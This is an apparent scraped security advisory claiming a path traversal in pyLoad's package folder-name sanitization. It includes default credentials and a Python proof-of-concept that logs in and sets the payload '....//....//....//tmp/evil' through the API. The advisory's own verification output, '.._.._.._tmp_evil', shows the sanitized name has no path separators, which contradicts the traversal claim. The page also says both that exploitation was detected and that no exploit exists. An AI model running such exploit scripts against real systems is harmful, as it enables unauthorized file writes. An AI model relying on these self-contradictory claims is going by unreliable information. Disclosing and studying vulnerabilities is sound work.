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GHSA-97r3-5w84-r4q8
No affected components available
Insufficient sanitization of package folder names allows writing files outside the intended download directory.
Affected Component
src/pyload/core/api/__init__.py- Function:
add_package()
Description
Package folder names are sanitized using insufficient string replacement:
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace("../", "_") # Bypassable!
.replace("..\\", "_")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
The ../ replacement is bypassable. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.
Proof of Concept
Setup
pip install pyload-ng[all]
pyload -d &
# Default credentials: pyload / pyload
Exploit
#!/usr/bin/env python3
import requests
BASE_URL = "http://localhost:8000"
USERNAME = "pyload"
PASSWORD = "pyload"
session = requests.Session()
# Login
session.post(f"{BASE_URL}/login", data={
"username": USERNAME,
"password": PASSWORD
})
# Create package with malicious folder name
# The pattern ....// bypasses the ../ replacement
# After sanitization: .._ (still contains ..)
folder_payload = "....//....//....//tmp/evil"
resp = session.post(f"{BASE_URL}/api/add_package", json={
"name": "test_package",
"links": ["http://example.com/file.txt"],
"dest": 1 # Destination.QUEUE
})
package_id = resp.json()
print(f"Created package: {package_id}")
# Set malicious folder name
resp = session.post(f"{BASE_URL}/api/set_package_data", json={
"package_id": package_id,
"data": {"folder": folder_payload}
})
print(f"Set folder payload: {folder_payload}")
print(f"Response: {resp.status_code}")
# When download occurs, files will be written outside download dir
print("[+] When a file is downloaded, it will be written to manipulated path")
print(" The sanitized folder still contains '..' sequences that OS resolves")
Verification
Check where files would be written:
import os
download_dir = "/home/user/Downloads"
folder = "....//....//....//tmp/evil"
# Simulate pyLoad's sanitization
sanitized = folder.replace("../", "_").replace("/", "_")
print(f"After pyLoad sanitization: {sanitized}")
# Output: .._.._.._tmp_evil
# When pyLoad does os.path.join and then opens the file:
final_path = os.path.join(download_dir, sanitized)
print(f"Joined path: {final_path}")
# Output: /home/user/Downloads/.._.._.._tmp_evil
# The .. sequences remain and could be resolved by OS during file operations
Impact
Authenticated users with ADD permission can:
- Write files outside the download directory
- Potentially overwrite system files (depending on permissions)
- Clutter system directories with downloaded content
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
- CVE-2026-42314Alias
- EUVD-2026-29122Alias
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